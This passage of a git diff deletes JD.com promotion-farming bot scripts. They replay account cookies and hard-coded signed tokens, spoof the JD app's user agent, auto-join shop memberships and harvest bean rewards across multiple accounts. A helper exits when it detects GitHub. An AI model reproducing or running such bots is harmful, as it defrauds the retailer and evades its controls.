data.data.jdActivityId; - $.venderId = data.data.venderId; - break; - case 'wxActionCommon/getUserInfo': - $.nickname = data.data.nickname - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - break; - case 'activityContent': - $.activityContent = data.data; - $.actorUuid = data.data.actorUuid; - if($.index === 1){ - ownCode = data.data.signUuid; - } - break; - case 'updateCaptain': - console.log(data.data) - - break - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/pool/${function_id}`, - headers: { - Host: 'lzkjdz-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkjdz-isv.isvjcloud.comm', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzkjdz-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkjdz-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_foodRunning.js b/backUp/jd_foodRunning.js deleted file mode 100644 index e88a27b..0000000 --- a/backUp/jd_foodRunning.js +++ /dev/null @@ -1,483 +0,0 @@ -/* -* 路径:京东APP-》美食馆-》右侧瓜分京豆 -* cron 18 7,20 * * * -* */ -const $ = new Env('零食街'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -$.helpCodes = []; -$.useInfo = {}; -//是否加购物车 -//const addCarFlag = $.isNode() ? (process.env.ADD_CAR ? process.env.ADD_CAR : true):true; -let cookiesArr = []; -$.appkey = `51B59BB805903DA4CE513D29EC448375`; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - await $.wait(2000); - } - - // console.log(`\n开始账号内互助\n`); - // for (let i = 0; i < cookiesArr.length; i++) { - // $.cookie = cookiesArr[i]; - // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - // if(!$.useInfo[$.UserName]) continue; - // $.thisNick = $.useInfo[$.UserName]; - // $.canHelp = true; - // for (let j = 0; j < $.helpCodes.length && $.canHelp; j++) { - // $.oneCodeInfo = $.helpCodes[j]; - // if($.UserName === $.oneCodeInfo.usr || $.oneCodeInfo.max){ - // continue; - // } - // console.log(`${$.UserName}去助力${$.oneCodeInfo.usr}`); - // await takePostRequest('help'); - // await $.wait(5000) - // } - // } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - -async function main() { - $.token = ''; - await getToken(); - if($.token){ - console.log(`Token:${$.token}`); - }else { - console.log(`获取Token失败`); - return; - } - await $.wait(500); - $.thisNick = ""; - await takePostRequest('setMixNick'); - await $.wait(500); - $.missionType = 'pv'; - await takePostRequest('foodRunningStats'); - await $.wait(2000); - if($.thisNick){ - console.log(`助力码:${$.thisNick}`); - $.useInfo[$.UserName] = $.thisNick; - }else{ - console.log(`获取活动详情失败`); - return; - } - // let todayString = new Date(new Date().toLocaleDateString()).getTime(); - // $.myInviteList = []; - // await takePostRequest('MyInviteList'); - // let needHelpTime = 3; - // for ( i = 0; i < $.myInviteList.length; i++) { - // if(Number($.myInviteList[i].created) > Number(todayString)){ - // needHelpTime--; - // } - // } - // if(Number(needHelpTime)>0){ - // console.log(`还需要3次助力`) - // $.helpCodes.push({'usr':$.UserName, 'code':$.thisNick, 'max':false,'needHelpTime':needHelpTime}); - // } - await $.wait(3000); - $.taskList = []; - await takePostRequest('DailyTask'); - //console.log(JSON.stringify($.taskList)); - await doTask(); - await $.wait(3000); - $.sendCoinInfo = {}; - await takePostRequest('SendCoinNum'); - if(JSON.stringify($.sendCoinInfo) === '{}'){ - console.log(`获取首页树数据失败`) - }else{ - $.getWhich = $.sendCoinInfo.which; - if($.getWhich.length === 3){ - console.log(`首页树金币已全领取`); - }else{ - for (let i = 0; i < 3; i++) { - $.treeNumber = i; - if($.getWhich.includes(i)){ - console.log(`首页树金币,第${i+1}次,已领取`); - continue; - } - console.log(`首页树金币,开始第${i+1}次,领取`); - await takePostRequest('dotree'); - await $.wait(500); - $.missionType = 'treeCoin'; - await takePostRequest('foodRunningStats'); - await $.wait(5000); - } - } - } - console.log(`开始玩一次游戏,等待10S`); - await $.wait(10000); - await takePostRequest('SendCoin'); - $.missionType = 'finishGame'; - await takePostRequest('foodRunningStats'); - await $.wait(2000); - $.boxStatusList = []; - await takePostRequest('ThreeBoxStatus'); - //console.log(JSON.stringify($.boxStatusList)); - await $.wait(3000); - await openBox(); -} -async function openBox(){ - for (let i = 0; i < $.boxStatusList.length; i++) { - $.oneBoxInfo = $.boxStatusList[i]; - if($.oneBoxInfo.openStatus && !$.oneBoxInfo.sendStatus){ - console.log(`打开第${i+1}个宝箱;`); - await takePostRequest('OpenBox'); - await $.wait(5000); - }else{ - console.log(`第${i+1}个宝箱,已经打开`); - } - } -} - -async function doTask(){ - for (let i = 0; i < $.taskList.length; i++) { - $.oneTaskInfo = $.taskList[i]; - if($.oneTaskInfo.id === '1' || $.oneTaskInfo.id === '2' || $.oneTaskInfo.id === '3'){ - if($.oneTaskInfo.dayTop === $.oneTaskInfo.hasGotNum){ - console.log(`任务:${$.oneTaskInfo.missionName},已完成`); - }else{ - let start = 0; - if($.oneTaskInfo.hasGotNum){ - start = $.oneTaskInfo.hasGotNum; - } - for (let j = start; j < $.oneTaskInfo.dayTop; j++){ - console.log(`执行任务,第${j+1}次,${$.oneTaskInfo.missionName}`); - $.runId = ''; - await takePostRequest(($.oneTaskInfo.type).replace(/( |^)[a-z]/g,(L)=>L.toUpperCase())); - await $.wait(2000); - //console.log(`runId,${$.runId}`); - if($.runId){ - await 